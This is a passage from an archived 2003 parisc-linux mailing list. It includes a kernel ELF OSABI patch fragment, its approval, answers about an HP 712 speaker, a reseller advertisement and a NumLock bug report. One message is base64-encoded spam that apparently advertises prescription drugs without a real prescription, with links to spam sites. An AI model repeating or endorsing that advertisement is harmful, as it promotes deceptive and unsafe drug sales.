--- include/linux/elf.h	29 Jul 2003 17:02:11 -0000	1.1
+++ include/linux/elf.h	17 Aug 2003 19:19:19 -0000
@@ -360,7 +360,8 @@ typedef struct elf64_shdr {
 #define	EI_CLASS	4
 #define	EI_DATA		5
 #define	EI_VERSION	6
-#define	EI_PAD		7
+#define	EI_OSABI	7
+#define	EI_PAD		8
 
 #define	ELFMAG0		0x7f		/* EI_MAG */
 #define	ELFMAG1		'E'
@@ -381,6 +382,13 @@ typedef struct elf64_shdr {
 #define EV_NONE		0		/* e_version, EI_VERSION */
 #define EV_CURRENT	1
 #define EV_NUM		2
+
+#define ELFOSABI_NONE	0
+#define ELFOSABI_LINUX	3
+
+#ifndef ELF_OSABI
+#define ELF_OSABI ELFOSABI_NONE
+#endif
 
 /* Notes used in ET_CORE */
 #define NT_PRSTATUS	1


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] change corefile OSABI to ELFOSABI_LINUX
Date: Sun, 17 Aug 2003 20:39:46 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030817193946.GO19630@parcelfarce.linux.theplanet.co.uk>
References: <20030817192923.GO21328@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622693 29643 80.91.229.3 (22 Nov 2014 02:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 17 13:39:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76DEE4884
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Aug 2003 13:39:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19oTNS-0007CX-CE; Sun, 17 Aug 2003 20:39:46 +0100
Content-Disposition: inline
In-Reply-To: <20030817192923.GO21328@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19242

On Sun, Aug 17, 2003 at 12:29:24PM -0700, Randolph Chung wrote:
> Should we make the two consistent? Here's a patch that sets OSABI to
> Linux for corefile generation. We will still need the bfd code for
> backward compatibility, but moving forward it'll be good for things to
> be more consistent :)
> 
> comments?

Looks good, do you want to commit it to 2.4 and 2.6?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brigitte Crabtree" <zf5cmpwvoo@yahoo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SUBJECT=Re: limp,Order prescriptions from the convenience of your home y hebcy iuqmuavx z
Date: Sun, 17 Aug 2003 12:48:43 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <a90-vjkm5383$yo@od2.29bs5>
Reply-To: "Brigitte Crabtree" <zf5cmpwvoo@yahoo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="0FFD931C_E"
X-Trace: ger.gmane.org 1416622693 29646 80.91.229.3 (22 Nov 2014 02:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 00:58:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0486D4876
	for <parisc-linux@parisc-linux.org>; Mon, 18 Aug 2003 00:58:57 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [61.159.235.36])
	by cuprel1.hp.com (Postfix) with SMTP id D6741A7A
	for <parisc-linux@parisc-linux.org>; Sun, 17 Aug 2003 23:58:47 -0700 (PDT)
Original-Received: from (HELO uen3j) [30.88.116.191] by 156.153.254.40 with SMTP; Sun, 17 Aug 2003 12:48:43 -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19243

--0FFD931C_E
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGZvbnQgc2l6ZT0iMSI+DQphbXVzZTMmbmJzcDs8L2ZvbnQ+DQogIDxwIGFsaWduPSJjZW50
ZXIiPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cubWVkczI0Ny5iaXovYWRzMi5q
cGciIGFsdD0ic2Rmc2FkZiBhc2Rmc2RmIHNkZnNhZGZhc2Qgc2Zhc2RmIj4NCg0KPGRpdiBh
bGlnbj0icmlnaHQiPg0KICA8cCBhbGlnbj0iY2VudGVyIj4gPEZPTlQgYmFjaz0iI2ZmZmZm
ZiIgZmFjZT0iQXJpYWwiIGxhbmc9IjAiIHNpemU9IjIiPk91ciBVUyBMaWNlbnNlZCBEb2N0
b3JzIHdpbGw8QlI+DQpQcmVzY3JpYmUgWW91ciBNZWRpY2F0aW9uIEZvciBGcmVlDQo8L0ZP
TlQ+DQo8L2Rpdj4NCjxwIGFsaWduPSJjZW50ZXIiPjxGT05UIGJhY2s9IiNmZmZmZmYiIGZh
Y2U9IkFyaWFsIiBsYW5nPSIwIiBzaXplPSIyIj48QlI+DQpQaGVudGVybWluZWUsIEFkaXBl
eHggU29tYWEsIEZpb3JpaWNldCwgVWxsdHJhbSw8QlI+DQpDZWxlYmJyZXgsIFZpYWdyYVZp
YWdyYSwgVmFsdHJleHgsIFp6eWJhbiwgYW5kIG1hbnksIG1hbnkgb3RoZXJzLjxCUj4NCk1l
ZHMgZm9yOiBXZWlnaHRMb3NzLCBQYWluUmVsaWVmLCBNdXNjbGVQYWluIFJlbGllZiwgV29t
ZW4ncyBIZWFsdGgsIE1lbidzPEJSPg0KSGVhbHRoLCBJbXBvdGVuY2UsIEFsbGVyZ3kgUmVs
aWVmLCBIZWFydGJ1cm4gUmVsaWVmLCBNaWdyYWluZSBSZWxpZWYgJmFtcDsgTU9SRTxCUj4N
ClVwb24gQXBwcm92YWw8L0ZPTlQ+DQo8cCBhbGlnbj0iY2VudGVyIj48Rk9OVCBCQUNLPSIj
ZmZmZmZmIiBGQUNFPSJBcmlhbCIgTEFORz0iMCI+PEJSPg0KPC9GT05UPiA8Zm9udCBzaXpl
PSIyIj48Rk9OVCBCQUNLPSIjZmZmZmZmIiBGQUNFPSJBcmlhbCIgTEFORz0iMCI+DQpBbmQg
SGF2ZSB0aGUgTWVkaWNhdGlvbiZuYnNwOyBTaGlwcGVkIE92ZXJuaWdodCBUbyBZb3VyIERv
b3IuPEJSPg0KTG93ZXN0UHJpY2VzPC9GT05UPiAgPC9mb250PiAuIDxhIGhyZWY9Imh0dHA6
Ly93d3cuaW5wdXRyZmQuYml6L3ZwcjYyMzIvIj5TaG93DQpNZW1vcmU8L2E+PC9wPg0KPHAg
YWxpZ249ImNlbnRlciI+PC9wPg0KPGZvbnQgc2l6ZT0iMSI+DQpiYXNlYm9hcmQzJm5ic3A7
IGxtIHBhYSAgIHljdG5iZ2ZuIHN3ZGIgICB5ZWd0eG1paCB4Z2NvenNlbHF0YWFld2Z4ZGJh
bSBjbXR0cnZiIHJzeA0KZmd2IG88L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSIxIj5ucHEgbmZk
dG1ic2QNCmF2b3pqDQprJm5ic3A7Jm5ic3A7IDwvZm9udD48YSBocmVmPSJtYWlsdG86c2Rm
c3NkZmxqc2RAYW9sLmNvbSI+biBvIG0gYSBpIGwmbmJzcDs8L2E+DQo8Zm9udCBzaXplPSIx
Ij5lYmhocmlkICBuICBlIA0KZnhrDQp2DQogaXZwDQpibm4gIGtsIHJtDQppdHR0cXFpYXJ0
ZSA8L2ZvbnQ+PC9wPg0KeGxoZ28gb3pwc3MgIHIgIGdrd3Jsdnlub2d6ZGlneHlmYWsNCmVt
ZGkgdGRtZXVhIHdyY3ViZWMgbw0KIGYgcW0gag==



--0FFD931C_E--



From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MarquiS <marquis-@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to use internal speaker on my hp712
Date: Mon, 18 Aug 2003 15:51:36 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <oprt3ssanzhvbkz3@mail.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416622694 29648 80.91.229.3 (22 Nov 2014 02:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:14 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 07:51:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EB265482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 07:51:58 -0600 (MDT)
Original-Received: (qmail 18173 invoked by uid 65534); 18 Aug 2003 13:51:52 -0000
Original-Received: from pD9E496A6.dip.t-dialin.net (217.228.150.166)
  by mail.gmx.net (mp006) with SMTP; 18 Aug 2003 15:51:52 +0200
User-Agent: Opera7.11/Win32 M2 build 2887
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19244

hi list

how to use the internal speaker on my hp712 ?


thx



From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use internal speaker on my hp712
Date: Mon, 18 Aug 2003 15:02:37 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030818140237.GT19630@parcelfarce.linux.theplanet.co.uk>
References: <oprt3ssanzhvbkz3@mail.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622694 29660 80.91.229.3 (22 Nov 2014 02:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:14 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: MarquiS <marquis-@gmx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 08:02:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2A904890
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 08:02:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19okaj-0001tA-DM; Mon, 18 Aug 2003 15:02:37 +0100
Content-Disposition: inline
In-Reply-To: <oprt3ssanzhvbkz3@mail.gmx.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19245

On Mon, Aug 18, 2003 at 03:51:36PM +0200, MarquiS wrote:
> hi list
> 
> how to use the internal speaker on my hp712 ?

Harmony driver.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use internal speaker on my hp712
Date: Mon, 18 Aug 2003 16:00:21 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20030818140021.GA8766@esiee.fr>
References: <oprt3ssanzhvbkz3@mail.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622694 29667 80.91.229.3 (22 Nov 2014 02:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:14 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: MarquiS <marquis-@gmx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 08:03:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 230AA4890
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 08:03:01 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 0E3ED49B6A; Mon, 18 Aug 2003 16:03:00 +0200 (CEST)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.20.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id 9C58349B69; Mon, 18 Aug 2003 16:02:59 +0200 (CEST)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id C9FA924297; Mon, 18 Aug 2003 16:00:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <oprt3ssanzhvbkz3@mail.gmx.net>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19246

On Mon, Aug 18, 2003 at 03:51:36PM +0200, MarquiS wrote:
> hi list
> 
> how to use the internal speaker on my hp712 ?
> 
> 
> thx

The internal speaker is directly connected to the harmony chipset.
It is disable if something is connected on line-out.
So:
- check harmony is selected in your kernel configuration.
- check your volume setup is not to 0
- play and enjoy

Matthieu

> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
First, they ignore you.
Then they laugh at you.
Then they fight you.
Then you win
(Gandhi) 



From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] <Plug> Used / Refurbished HP 3000/9000 Hardware Pricing
Date: Mon, 18 Aug 2003 11:04:51 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <3F40EB13.2C22C773@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622694 29673 80.91.229.3 (22 Nov 2014 02:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 09:04:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BB1E483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 09:04:06 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.131]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 18 Aug 2003 11:04:51 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 18 Aug 2003 15:04:51.0562 (UTC) FILETIME=[130EECA0:01C3659A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19247

A price list of used/refurbished HP 3000 & 9000 MPE & HP-UX series
products for sale is located at:
www.cypress-tech.com/specials.htm

Feel free to enquire about HP equipment desired but not listed on our
site. Please call or email if you wish to purchase any HP equipment or
if you have any 3000/9000 or peripheral hardware that you want to sell.


Thanks
Jesse Dougherty
Cypress Technology, Inc
Re-Sellers of HP 3000/9000 Hardware
12890 Automobile Blvd
Clearwater, FL 33762
727-557-0911 / fax 727-557-0014
jesse@cypress-tech.com
www.cypress-tech.com




From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6.x] No NumLock with XFree86
Date: Mon, 18 Aug 2003 21:16:47 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20030818191647.GI16974@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="S8hWgp6Wl+RBuNna"
X-Trace: ger.gmane.org 1416622695 29680 80.91.229.3 (22 Nov 2014 02:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 13:16:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4B484832
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Aug 2003 13:16:48 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id BAD0C4A92A; Mon, 18 Aug 2003 21:16:47 +0200 (CEST)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19248

--S8hWgp6Wl+RBuNna
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

With X11, the NumLock key is no longer working (seems the 2.4.x -> 2.6.x
transition:) I've seen the the gsc_ps2 driver got some really nice
touch-ups since it's 2.4.x version, but NumLock doesn't work. With
debugging switched on, I get these lines:

jbglaw@b132l-1:~$ dmesg |tail -n 15
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D34, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:sent=3D34, rel=3D0
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D240, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:release
drivers/input/misc/gsc_ps2.c:rel=3D1 scancode=3D44, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:sent=3D44, rel=3D1
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D240, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:release
drivers/input/misc/gsc_ps2.c:rel=3D1 scancode=3D34, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:sent=3D34, rel=3D1
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D90, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:sent=3D90, rel=3D0
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D240, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:release
drivers/input/misc/gsc_ps2.c:rel=3D1 scancode=3D90, esc=3D0 <7>drivers/inpu=
t/misc/gsc_ps2.c:sent=3D90, rel=3D1
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D119, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:sent=3D119, rel=3D0
drivers/input/misc/gsc_ps2.c:Calling gscps2_hpkeyb_event, type=3D17, code=
=3D0, value=3D1
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D250, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:ACK
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D250, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:ACK
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D250, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:ACK
drivers/input/misc/gsc_ps2.c:rel=3D0 scancode=3D250, esc=3D0 <7>drivers/inp=
ut/misc/gsc_ps2.c:ACK
gsckbd_leds: timeout


This is first having typed "startx" and then I pressed the numlock key
several times. However, the NumLock LED isn't switched on. Instead, the
whole keyboard is no longer responsive at all. Switching back to a VC
(shutting down X11 by mouse or remotely issueing a 'chvt 2') gives me
back control over my kbd...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--S8hWgp6Wl+RBuNna
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/QSYfHb1edYOZ4bsRAi8mAJ9AsBOSJQ9EXqNkiPRuzmvemj1HawCffCvz
gp/Z0B3dReLJuvXFChwe5yY=
=Zhr1
-----END PGP SIGNATURE-----

--S8hWgp6Wl+RBuNna--


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6.x] No less/greater/bar key at console nor with X11
Date: Mon, 18 Aug 2003 21:45:46 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20030818194546.GJ16974@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="k9n1VOENd6u0x2wl"
X-Trace: ger.gmane.org 1416622695 29686 80.91.229.3 (22 Nov 2014 02:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 18 13:45:47 2003
